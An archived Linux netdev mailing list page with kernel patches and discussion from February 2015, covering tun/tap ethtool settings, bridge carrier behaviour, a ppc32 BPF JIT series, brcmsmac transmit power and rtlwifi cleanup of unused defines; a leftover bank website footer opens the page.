<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.com/about/diversity/">Diversity & Accessibility</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.comhttps://online.wellsfargo.com/common/html/wibdisc.html">Online Access Agreement</a>
</li>
<li>
<a data-cid="tcm:84-8253-16" data-ctid="tcm:91-1866-32" href="https://www.wellsfargo.comhttps://blogs.wellsfargo.com">Blogs & Social Media</a>
</li>
</ul>
</div>
</nav>
© 1999 - 2015 Wells Fargo. All rights reserved. NMLSR ID 399801
</div>
</div>
</footer>
</div><!--end shell-->
<img src="https://www.wellsfargo.com/assets/images/global/s.gif?log=1&cb=1398954565750&event=PageLoad&pid=222-8837-64&ptid=91-6232-128&pageUrl=https%3A%2F%2Fwww.wellsfargo.com%3A443%2Fhelp%2F&clist=182-8736-16~223-6249-32|182-22180-16~223-3757-32|182-8839-16~223-6253-32|182-8833-16~223-6249-32|182-8841-16~223-6249-32|182-19723-16~223-3757-32|182-8842-16~223-6249-32|182-8843-16~223-6249-32|182-8844-16~223-6249-32|182-8845-16~223-6249-32|182-8847-16~223-6249-32|182-8848-16~223-6249-32|182-8849-16~223-6249-32|182-8850-16~223-6249-32|182-8882-16~223-6249-32|182-8878-16~223-6249-32|182-8879-16~223-6249-32|182-8880-16~223-6249-32|182-8881-16~223-6249-32|182-8877-16~223-6249-32|182-8883-16~223-6249-32|182-8884-16~223-6249-32|84-8888-16~91-1924-32|84-4794-16~91-1924-32|84-6471-16~91-2045-32|84-6793-16~91-1924-32|84-7765-16~91-1924-32|84-8820-16~91-1889-32|84-8821-16~91-1889-32|84-13337-16~91-1889-32|242-17452-16~223-13162-32" alt=""/>
<script type="text/javascript">
var tasInfo={"pageID":"/help/","Url":"/tas","App_ID":"WWW"};
</script>
<script src="https://www.wellsfargo.com/js/global/tas.js"></script>
<script src="https://www.wellsfargo.com/js/frameworks/jq/jquery.js"></script>
<script src="https://www.wellsfargo.com/js/frameworks/jq/jquery-ui.js"></script>
<script src="https://www.wellsfargo.com/js/global/global.js"></script>
<script src="https://www.wellsfargo.com/js/global/audio.js"></script>
</body></html>
^ permalink raw reply
* Re: [PATCH 1/1] tun: change speed from 10M to dynamically configured
From: Stephen Hemminger @ 2015-02-16 17:03 UTC (permalink / raw)
To: yzhu1
Cc: Francois Romieu, netdev, mst, jasowang, viro, davem,
sergei.shtylyov, jonathon.reinhart
In-Reply-To: <54E1568D.5000100@windriver.com>
I would like to propose this is as a more complete alternative.
From: Stephen Hemminger <stephen@networkpluber.org>
Subject: [PATCH] tun: support overriding ethtool information
Extensions to allow masqurade of ethtool info and device statistics.
This is useful to provide correct information to SNMP and OSPF routing
daemons when doing hw/sw offload of network device.
Signed-off-by: Stephen Hemminger <stephen@networkplumber.org>
---
drivers/net/tun.c | 139 +++++++++++++++++++++++++++++++++++++----
include/uapi/linux/if_tunnel.h | 9 +++
2 files changed, 135 insertions(+), 13 deletions(-)
--- a/drivers/net/tun.c 2015-02-16 11:58:00.651506008 -0500
+++ b/drivers/net/tun.c 2015-02-16 11:59:15.560842558 -0500
@@ -60,6 +60,7 @@
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
+#include <linux/if_tunnel.h>
#include <linux/if_vlan.h>
#include <linux/crc32.h>
#include <linux/nsproxy.h>
@@ -204,6 +205,9 @@ struct tun_struct {
struct list_head disabled;
void *security;
u32 flow_count;
+ u8 duplex;
+ u32 speed;
+ struct ip_tunnel_info info;
};
static inline u16 tun16_to_cpu(struct tun_struct *tun, __virtio16 val)
@@ -866,6 +870,33 @@ static netdev_features_t tun_net_fix_fea
return (features & tun->set_features) | (features & ~TUN_USER_FEATURES);
}
+
+static int
+tun_net_set_info(struct net_device *dev, const void __user *data)
+{
+ struct tun_struct *tun = netdev_priv(dev);
+ struct ip_tunnel_info info;
+
+ if (!capable(CAP_NET_ADMIN))
+ return -EPERM;
+
+ if (copy_from_user(&info, data, sizeof(info)))
+ return -EFAULT;
+
+ strlcpy(tun->info.driver, info.driver, sizeof(tun->info.driver));
+ strlcpy(tun->info.bus, info.bus, sizeof(tun->info.bus));
+ return 0;
+}
+
+static int
+tun_net_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd)
+{
+ if (cmd != SIOCDRVINFO)
+ return -EOPNOTSUPP;
+
+ return tun_net_set_info(dev, ifr->ifr_ifru.ifru_data);
+}
+
#ifdef CONFIG_NET_POLL_CONTROLLER
static void tun_poll_controller(struct net_device *dev)
{
@@ -904,6 +935,7 @@ static const struct net_device_ops tap_n
.ndo_change_mtu = tun_net_change_mtu,
.ndo_fix_features = tun_net_fix_features,
.ndo_set_rx_mode = tun_net_mclist,
+ .ndo_do_ioctl = tun_net_ioctl,
.ndo_set_mac_address = eth_mac_addr,
.ndo_validate_addr = eth_validate_addr,
.ndo_select_queue = tun_select_queue,
@@ -1408,6 +1440,8 @@ static void tun_setup(struct net_device
tun->owner = INVALID_UID;
tun->group = INVALID_GID;
+ tun->speed = SPEED_10;
+ tun->duplex = DUPLEX_FULL;
dev->ethtool_ops = &tun_ethtool_ops;
dev->destructor = tun_free_netdev;
@@ -1654,6 +1688,11 @@ static int tun_set_iff(struct net *net,
spin_lock_init(&tun->lock);
+ strlcpy(tun->info.driver, DRV_NAME, sizeof(tun->info.driver));
+ strlcpy(tun->info.bus,
+ (ifr->ifr_flags & IFF_TUN) ? "tun" : "tap",
+ sizeof(tun->info.bus));
+
err = security_tun_dev_alloc_security(&tun->security);
if (err < 0)
goto err_free_dev;
@@ -2253,10 +2292,12 @@ static struct miscdevice tun_miscdev = {
static int tun_get_settings(struct net_device *dev, struct ethtool_cmd *cmd)
{
+ struct tun_struct *tun = netdev_priv(dev);
+
cmd->supported = 0;
cmd->advertising = 0;
- ethtool_cmd_speed_set(cmd, SPEED_10);
- cmd->duplex = DUPLEX_FULL;
+ ethtool_cmd_speed_set(cmd, tun->speed);
+ cmd->duplex = tun->duplex;
cmd->port = PORT_TP;
cmd->phy_address = 0;
cmd->transceiver = XCVR_INTERNAL;
@@ -2266,21 +2307,24 @@ static int tun_get_settings(struct net_d
return 0;
}
+static int tun_set_settings(struct net_device *dev, struct ethtool_cmd *ecmd)
+{
+ struct tun_struct *tun = netdev_priv(dev);
+
+ tun->speed = ethtool_cmd_speed(ecmd);
+ tun->duplex = ecmd->duplex;
+
+ return 0;
+}
+
static void tun_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info)
{
struct tun_struct *tun = netdev_priv(dev);
- strlcpy(info->driver, DRV_NAME, sizeof(info->driver));
+ strlcpy(info->driver, tun->info.driver, sizeof(info->driver));
strlcpy(info->version, DRV_VERSION, sizeof(info->version));
- switch (tun->flags & TUN_TYPE_MASK) {
- case IFF_TUN:
- strlcpy(info->bus_info, "tun", sizeof(info->bus_info));
- break;
- case IFF_TAP:
- strlcpy(info->bus_info, "tap", sizeof(info->bus_info));
- break;
- }
+ strlcpy(info->bus_info, tun->info.bus, sizeof(info->bus_info));
}
static u32 tun_get_msglevel(struct net_device *dev)
@@ -2303,6 +2347,7 @@ static void tun_set_msglevel(struct net_
static const struct ethtool_ops tun_ethtool_ops = {
.get_settings = tun_get_settings,
+ .set_settings = tun_set_settings,
.get_drvinfo = tun_get_drvinfo,
.get_msglevel = tun_get_msglevel,
.set_msglevel = tun_set_msglevel,
--- a/include/uapi/linux/if_tunnel.h 2015-02-16 11:58:00.651506008 -0500
+++ b/include/uapi/linux/if_tunnel.h 2015-02-16 11:58:00.651506008 -0500
@@ -17,6 +17,12 @@
#define SIOCADD6RD (SIOCDEVPRIVATE + 9)
#define SIOCDEL6RD (SIOCDEVPRIVATE + 10)
#define SIOCCHG6RD (SIOCDEVPRIVATE + 11)
+#define SIOCDRVINFO (SIOCDEVPRIVATE + 12)
+
+struct ip_tunnel_info {
+ char driver[32];
+ char bus[32];
+};
#define GRE_CSUM __cpu_to_be16(0x8000)
#define GRE_ROUTING __cpu_to_be16(0x4000)
^ permalink raw reply
* Re: If bridge have no sub-interfaces, it's status may be still with 'RUNNING'
From: Stephen Hemminger @ 2015-02-16 16:52 UTC (permalink / raw)
To: yzhu1; +Cc: netdev, Wu, Kuaikuai, Tao, Yue
In-Reply-To: <54E17853.8070106@windriver.com>
On Mon, 16 Feb 2015 12:55:47 +0800
yzhu1 <Yanjun.Zhu@windriver.com> wrote:
> Hi, Stephen
>
> Follow your advice, I made a new patch. This patch will turn off
> carrier when a new bridge interface is created. Please comment on it.
>
> Thanks a lot.
> Zhu Yanjun
NAK.
We need to keep the current behavior to not break corner case users.
^ permalink raw reply
* Re: If bridge have no sub-interfaces, it's status may be still with 'RUNNING'
From: Stephen Hemminger @ 2015-02-16 16:51 UTC (permalink / raw)
To: David Ahern; +Cc: yzhu1, netdev, Wu, Kuaikuai, Tao, Yue
In-Reply-To: <54E210FF.2050502@gmail.com>
Originally bridge code would start with carrier off,
but there were users using bridge as a form of dummy device
and this broke them. Therefore it was decided (like 5 yrs ago),
that bridge should start with carrier on.
^ permalink raw reply
* Re: [PATCH net-next 0/6] bpf: Enable BPF JIT on ppc32
From: Daniel Borkmann @ 2015-02-16 16:01 UTC (permalink / raw)
To: Denis Kirjanov; +Cc: netdev, linuxppc-dev, benh, mpe, ast
In-Reply-To: <CAOJe8K380m94BL=YX6NFE1m7w3VpW8uORfttO36=r99FnoZdNg@mail.gmail.com>
On 02/16/2015 08:13 AM, Denis Kirjanov wrote:
...
> Well, I don't see significant challenges to enable eBPF on ppc64 in the future.
> I'll start working on it after I get this merged
Cool, awesome!
^ permalink raw reply
* Re: If bridge have no sub-interfaces, it's status may be still with 'RUNNING'
From: David Ahern @ 2015-02-16 15:47 UTC (permalink / raw)
To: yzhu1, Stephen Hemminger; +Cc: netdev, Wu, Kuaikuai, Tao, Yue
In-Reply-To: <54E17853.8070106@windriver.com>
On 2/15/15 9:55 PM, yzhu1 wrote:
>>> 1. brctl addbr br0
>>>
>>> 2. ifconfig br0 up
>>>
>>> 3. ifconfig br0 (br0's status is with 'RUNNING')
>>>
>>> 4. brctl addif br0 eth0
>>>
>>> 5. brctl delif br0 eth0
>>>
>>> 6. ifconfig br0 (br0's status is without 'RUNNING')
>>>
>>> When there is no sub-interface, the flag "RUNNING" is missing after the
>>> last sub-interface is removed.
I do not see that behavior with Fedora 21 and 3.18.5-201.fc21.x86_64.
ie., after interface is removed br0 is still in up state. Perhaps a
regression with 3.19.
>>>
>>> As such, should we keep "RUNNING" flag after the last sub-interface is
>>> removed?
>> This is intentional. If there are no active ports in bridge, then
>> we want to tell applications that packets will go nowhere.
It changes current behavior with respect to tcpdump. Today I can launch
tcpdump on a bridge interface before starting a VM. With this change I
will not be able to do that.
David
^ permalink raw reply
* Re: vnet problem (bug? feature?)
From: David Ahern @ 2015-02-16 15:30 UTC (permalink / raw)
To: Toerless Eckert, Sowmini Varadhan; +Cc: Bill Fink, Cong Wang, netdev
In-Reply-To: <20150216101309.GB25792@faui40p.informatik.uni-erlangen.de>
On 2/16/15 3:13 AM, Toerless Eckert wrote:
> I fail to find a good reference explaining why linux would default to
> rp_filtering = 1 (more appropriate for routers) even if forwarding defaults to 0
> (more appropriate for multi-homed hosts).
It's a userspace default. For Fedora/Red Hat based systems see
/etc/sysctl.conf (older releases) and /usr/lib/sysctl.d/50-default.conf
(newer ones).
I recall it defaulting to 1 in the early 2000's so it has been that way
for a long time.
From Documentation/networking/ip-sysctl.txt:
rp_filter - INTEGER
...
Default value is 0. Note that some distributions enable it
in startup scripts.
David
^ permalink raw reply
* Re: Attempt to auto-load em_cmp.ko results in negative module refcnt
From: Ignacy Gawedzki @ 2015-02-16 15:03 UTC (permalink / raw)
To: netdev
In-Reply-To: <20150216105912.GA16798@zenon.in.qult.net>
On Mon, Feb 16, 2015 at 11:59:12AM +0100, thus spake Ignacy Gawedzki:
> This has been broken pretty recently, I'm currently attempting a git bisect on
> this.
Okay, the bisect tells this appeared with
e513cc1c07e2ab93a4514eec9833e031df3e30bb, FWIW.
--
Ignacy Gawędzki
R&D Engineer
Green Communications
^ permalink raw reply
* Re: [PATCH net-next 0/6] bpf: Enable BPF JIT on ppc32
From: Alexei Starovoitov @ 2015-02-16 15:02 UTC (permalink / raw)
To: Denis Kirjanov
Cc: Daniel Borkmann, netdev@vger.kernel.org, linuxppc-dev,
Benjamin Herrenschmidt, Michael Ellerman, Alexei Starovoitov
On Mon, Feb 16, 2015 at 2:13 AM, Denis Kirjanov <kda@linux-powerpc.org> wrote:
> On 2/15/15, Daniel Borkmann <daniel@iogearbox.net> wrote:
>> On 02/15/2015 07:06 PM, Denis Kirjanov wrote:
>>> This patch series enables BPF JIT on ppc32. There are relatevily
>>> few chnages in the code to make it work.
>>>
>>> All test_bpf tests passed both on 7447a and P2041-based machines.
>>
>> I'm just wondering, next to the feedback that has already been
>> provided, would opening this up for ppc32 make it significantly
>> more difficult in future to migrate from classic BPF JIT to eBPF
>> JIT eventually (which is what we want long-term)? Being curious,
>> is there any ongoing effort from ppc people?
>>
>
> Well, I don't see significant challenges to enable eBPF on ppc64 in the future.
> I'll start working on it after I get this merged
sounds great. looking forward to it :)
^ permalink raw reply
* [PATCH net-next] tcp: silence registration message
From: Stephen Hemminger @ 2015-02-16 14:38 UTC (permalink / raw)
To: David Miller; +Cc: netdev
This message isn't really needed it justs waits time/space.
Signed-off-by: Stephen Hemminger <stephen@networkplumber.org>
---
net/ipv4/tcp_cong.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/net/ipv4/tcp_cong.c 2015-02-16 09:11:25.714980610 -0500
+++ b/net/ipv4/tcp_cong.c 2015-02-16 09:11:25.710980555 -0500
@@ -83,7 +83,7 @@ int tcp_register_congestion_control(stru
ret = -EEXIST;
} else {
list_add_tail_rcu(&ca->list, &tcp_cong_list);
- pr_info("%s registered\n", ca->name);
+ pr_debug("%s registered\n", ca->name);
}
spin_unlock(&tcp_cong_list_lock);
^ permalink raw reply
* Re: [PATCH 2/3] ARM: sunxi: Add register bit definitions for SRAM mapping syscon
From: Lee Jones @ 2015-02-16 14:38 UTC (permalink / raw)
To: Jens Kuske
Cc: Maxime Ripard, netdev-u79uwXL29TY76Z2rM5mHXA,
devicetree-u79uwXL29TY76Z2rM5mHXA,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r, Chen-Yu Tsai,
linux-sunxi-/JYPxA39Uh5TLH3MbocFFw
In-Reply-To: <1422200959-1717-3-git-send-email-jenskuske-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
On Sun, 25 Jan 2015, Jens Kuske wrote:
> From: Chen-Yu Tsai <wens-jdAy2FN1RRM@public.gmane.org>
>
> Signed-off-by: Chen-Yu Tsai <wens-jdAy2FN1RRM@public.gmane.org>
> Signed-off-by: Jens Kuske <jenskuske-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> ---
> include/linux/mfd/syscon/sun4i-sc.h | 42 +++++++++++++++++++++++++++++++++++++
> 1 file changed, 42 insertions(+)
> create mode 100644 include/linux/mfd/syscon/sun4i-sc.h
Acked-by: Lee Jones <lee.jones-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
--
Lee Jones
Linaro STMicroelectronics Landing Team Lead
Linaro.org │ Open source software for ARM SoCs
Follow Linaro: Facebook | Twitter | Blog
--
You received this message because you are subscribed to the Google Groups "linux-sunxi" group.
To unsubscribe from this group and stop receiving emails from it, send an email to linux-sunxi+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.
^ permalink raw reply
* brcmsmac: TX power blocked in BCM4313
From: Nikita N. @ 2015-02-16 13:53 UTC (permalink / raw)
To: hauke-5/S+JYg5SzeELgA04lAiVw,
brcm80211-dev-list-dY08KVG/lbpWk0Htik3J/w,
linux-wireless-u79uwXL29TY76Z2rM5mHXA,
arend-dY08KVG/lbpWk0Htik3J/w, Kalle Valo, Pat Erley,
brudley-dY08KVG/lbpWk0Htik3J/w, Franky Lin,
meuleman-dY08KVG/lbpWk0Htik3J/w, linville-2XuSBdqkA4R54TAoqtyWWQ,
pieterpg-dY08KVG/lbpWk0Htik3J/w, hdegoede-H+wXaHxf7aLQT0dZR+AlfA,
wens-jdAy2FN1RRM, linux-wireless-u79uwXL29TY76Z2rM5mHXA,
brcm80211-dev-list-dY08KVG/lbpWk0Htik3J/w,
netdev-u79uwXL29TY76Z2rM5mHXA,
linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
In-Reply-To: <1424007136.2042747.227726249.45B6A0E2-2RFepEojUI2N1INw9kWLP6GC3tUn3ZHUQQ4Iyu8u01E@public.gmane.org>
Hi Dear brcmsmac Devs,
following up my previous email, since I didn't receive any feedback, I
took the trouble to test my understandings myself.
First of all, I want to report the following fact: the TX power is
blocked/fixed to 19dbm, no matter what local regdom or power setting.
If that is an issue or bug or else I leave the decision to you.
Another fact is that, the Windows driver for that same interface, is
capable to push the transceiver at least 10 RSSI points higher than
linux backports brcmsmac driver, which means it is *DO* possible to
change the TX power.
In my personal case I want to lower it, but even that is not possible:
no setting is working, neither changing the regdom (iw reg set) nor the
power (iwconfig wlan0 txpower, iw dev wlan0 set txpower fixed, iw phy
wlan0 set txpower fixed).
Now, as for my tests, I just tried to hard-code few values into the
brcmsmac driver module, only to see if anything changes.
In details I zeroed the values of all tx_power_offsets in the table
populated in wlc_lcnphy_txpower_recalc_target (phy_lcn.c), and called
wlc_lcnphy_set_target_tx_pwr with a value of 40 (minor that 52, which is
the minimum I found debugging that function).
Again, nothing changed (even if further calls to
wlc_lcnphy_set_target_tx_pwr =40)
It is my wish to create a patch for that "issue", which I want first to
test here locally to me, and if working&interesting, I can propose it
for merging in next release.
But, AMOF, now I'm just stuck.
In case anybody feels like giving away any hint/feedback, I would have
few questions:
1) is it "brcmsmac" linux backports driver still supported or
deprecated?
2) if deprecated, what is the supported driver for BCM4313?
3) About my tests, was it correct zeroing all tx_power_offsets in the
table and call wlc_lcnphy_set_target_tx_pwr=40, to get a TX power less
that 19dbm?
4) if it was not correct, or partially correct, what am I missing or
doing wrong, in order to push the TX transceiver power less than 19dbm?
Thanks for your attention.
--
Nikita N.
nikitan-Z02xGKUfPWYS+FvcfC7Uqw@public.gmane.org
On Sun, Feb 15, 2015, at 05:32 AM, Nikita N. wrote:
> Hi Dear backports Devs for driver brcmsmac,
> Coming to the point, I want to lower the TX power of my BCM4313, under
> the official values set by the regdom, to any special value I need.
> So I'm trying to build such a "personal" patch, only for me, based on
> latest backports v3.19 and latest Ubuntu.
> Useless to say, "iwconfig <wlan> txpower" doesn't work, the resulting TX
> power doesn't change.
> I know it doesn't work because I can measure the RSSI coming out from
> the BCM4313, using another device: it doesn't change, whatever value I
> set.
>
> So, I gave a look at the code for the brcmsmac module, and I think I
> found the location where the TX power is *finally* set: inside
> wlc_lcnphy_txpower_recalc_target (phy_lcn.c), call to
> wlc_lcnphy_set_target_tx_pwr.
> AFAIU, in that function a table of tx_power_offsets (calculated by
> another function) is written in the device EPROM registry, and the TX
> power is set to the relative minimum.
>
> Now, my question: is that the right way to change effectively the TX
> power?
> I need to ask You a confirmation about that, if that is correct, before
> I start building my patch.
> I don't want to frustrate my time developing in the wrong code, or
> damage the device, or other issues... :)
>
> Thank you for your attention, and looking forward your feedback.
>
> --
> http://www.fastmail.com - mmm... Fastmail...
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-wireless"
> in
> the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
--
http://www.fastmail.com - The professional email service
--
To unsubscribe from this list: send the line "unsubscribe linux-wireless" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [PATCH net-next 2/9] be2net: replace (1 << x) with BIT(x)
From: Sergei Shtylyov @ 2015-02-16 13:13 UTC (permalink / raw)
To: Sathya Perla, netdev@vger.kernel.org
In-Reply-To: <CF9D1877D81D214CB0CA0669EFAE020C74C34365@CMEXMB1.ad.emulex.com>
Hello.
On 2/16/2015 3:55 PM, Sathya Perla wrote:
>>> From: Vasundhara Volam <vasundhara.volam@emulex.com>
>>> BIT(x) is the preffered usage.
>> Preferred.
> :-) As this is a harmless spelling mistake only in the changelog,
> I'll not bother sending a new patch for this!
OK...
>> [...]
>>> diff --git a/drivers/net/ethernet/emulex/benet/be.h
>> b/drivers/net/ethernet/emulex/benet/be.h
>>> index 3b1d59d..9869556 100644
>>> --- a/drivers/net/ethernet/emulex/benet/be.h
>>> +++ b/drivers/net/ethernet/emulex/benet/be.h
>>> @@ -361,15 +361,15 @@ enum vf_state {
>>> ASSIGNED = 1
>>> };
>>>
>>> -#define BE_FLAGS_LINK_STATUS_INIT 1
>>> -#define BE_FLAGS_SRIOV_ENABLED (1 << 2)
>>> -#define BE_FLAGS_WORKER_SCHEDULED (1 << 3)
>>> -#define BE_FLAGS_VLAN_PROMISC (1 << 4)
>>> -#define BE_FLAGS_MCAST_PROMISC (1 << 5)
>>> -#define BE_FLAGS_NAPI_ENABLED (1 << 9)
>>> -#define BE_FLAGS_QNQ_ASYNC_EVT_RCVD (1 << 11)
>>> -#define BE_FLAGS_VXLAN_OFFLOADS (1 << 12)
>>> -#define BE_FLAGS_SETUP_DONE (1 << 13)
>>> +#define BE_FLAGS_LINK_STATUS_INIT BIT(1)
>> Not BIT(0)?
> Huh, this was not intentional. I'll remember to use bit-0 the next time
> we introduce a new bit!
Note that bit 0 was used for BE_FLAGS_LINK_STATUS_INIT before your patch.
[...]
WBR, Sergei
^ permalink raw reply
* [PATCH v3 3/7] rtlwifi: Remove unused RF6052_MAX_REG define
From: Priit Laes @ 2015-02-16 13:01 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091600-13121-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/rtl8188ee/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8192ce/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8192cu/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8192de/def.h | 1 -
drivers/net/wireless/rtlwifi/rtl8192ee/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8723ae/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8723be/rf.h | 1 -
drivers/net/wireless/rtlwifi/rtl8821ae/rf.h | 1 -
8 files changed, 8 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/rtl8188ee/rf.h b/drivers/net/wireless/rtlwifi/rtl8188ee/rf.h
index 5c1472d..0eca030 100644
--- a/drivers/net/wireless/rtlwifi/rtl8188ee/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8188ee/rf.h
@@ -27,7 +27,6 @@
#define __RTL92C_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
void rtl88e_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw,
u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8192ce/rf.h b/drivers/net/wireless/rtlwifi/rtl8192ce/rf.h
index d8fe68b..ebd72ca 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192ce/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192ce/rf.h
@@ -31,7 +31,6 @@
#define __RTL92C_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
#define RF6052_MAX_PATH 2
void rtl92ce_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw, u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8192cu/rf.h b/drivers/net/wireless/rtlwifi/rtl8192cu/rf.h
index 11b439d..6f987de 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192cu/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192cu/rf.h
@@ -31,7 +31,6 @@
#define __RTL92CU_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
#define RF6052_MAX_PATH 2
void rtl92cu_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw, u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8192de/def.h b/drivers/net/wireless/rtlwifi/rtl8192de/def.h
index 4ca1fe1..0a443ed 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192de/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192de/def.h
@@ -35,7 +35,6 @@
#define MAX_MSS_DENSITY_1T 0x0A
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
#define RF6052_MAX_PATH 2
#define PHY_RSSI_SLID_WIN_MAX 100
diff --git a/drivers/net/wireless/rtlwifi/rtl8192ee/rf.h b/drivers/net/wireless/rtlwifi/rtl8192ee/rf.h
index 8bdeed3..039c013 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192ee/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192ee/rf.h
@@ -27,7 +27,6 @@
#define __RTL92E_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
void rtl92ee_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw,
u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8723ae/rf.h b/drivers/net/wireless/rtlwifi/rtl8723ae/rf.h
index f3f45b1..7b44ebc 100644
--- a/drivers/net/wireless/rtlwifi/rtl8723ae/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8723ae/rf.h
@@ -27,7 +27,6 @@
#define __RTL8723E_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
void rtl8723e_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw,
u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8723be/rf.h b/drivers/net/wireless/rtlwifi/rtl8723be/rf.h
index a6fea10..f423e15 100644
--- a/drivers/net/wireless/rtlwifi/rtl8723be/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8723be/rf.h
@@ -27,7 +27,6 @@
#define __RTL8723BE_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
void rtl8723be_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw,
u8 bandwidth);
diff --git a/drivers/net/wireless/rtlwifi/rtl8821ae/rf.h b/drivers/net/wireless/rtlwifi/rtl8821ae/rf.h
index d9582ee..efd22bd 100644
--- a/drivers/net/wireless/rtlwifi/rtl8821ae/rf.h
+++ b/drivers/net/wireless/rtlwifi/rtl8821ae/rf.h
@@ -27,7 +27,6 @@
#define __RTL8821AE_RF_H__
#define RF6052_MAX_TX_PWR 0x3F
-#define RF6052_MAX_REG 0x3F
void rtl8821ae_phy_rf6052_set_bandwidth(struct ieee80211_hw *hw,
u8 bandwidth);
--
2.3.0
^ permalink raw reply related
* [PATCH v3 7/7] rtlwifi: Remove unused RTL_SUPPORTED_CTRL_FILTER define
From: Priit Laes @ 2015-02-16 13:01 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091717-13212-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/core.h | 2 --
1 file changed, 2 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/core.h b/drivers/net/wireless/rtlwifi/core.h
index 7b64e34..82733c6 100644
--- a/drivers/net/wireless/rtlwifi/core.h
+++ b/drivers/net/wireless/rtlwifi/core.h
@@ -33,8 +33,6 @@
FIF_FCSFAIL | \
FIF_BCN_PRBRESP_PROMISC)
-#define RTL_SUPPORTED_CTRL_FILTER 0xFF
-
#define DM_DIG_THRESH_HIGH 40
#define DM_DIG_THRESH_LOW 35
#define DM_FALSEALARM_THRESH_LOW 400
--
2.3.0
^ permalink raw reply related
* [PATCH v3 6/7] rtlwifi: Remove unused defines from efuse.h
From: Priit Laes @ 2015-02-16 13:01 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091717-13212-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/efuse.h | 6 ------
1 file changed, 6 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/efuse.h b/drivers/net/wireless/rtlwifi/efuse.h
index fdab824..be02e78 100644
--- a/drivers/net/wireless/rtlwifi/efuse.h
+++ b/drivers/net/wireless/rtlwifi/efuse.h
@@ -40,12 +40,6 @@
#define PG_STATE_WORD_3 0x10
#define PG_STATE_DATA 0x20
-#define PG_SWBYTE_H 0x01
-#define PG_SWBYTE_L 0x02
-
-#define _POWERON_DELAY_
-#define _PRE_EXECUTE_READ_CMD_
-
#define EFUSE_REPEAT_THRESHOLD_ 3
#define EFUSE_ERROE_HANDLE 1
--
2.3.0
^ permalink raw reply related
* [PATCH v3 5/7] rtlwifi: Remove unused defines from base.h
From: Priit Laes @ 2015-02-16 13:01 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091717-13212-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
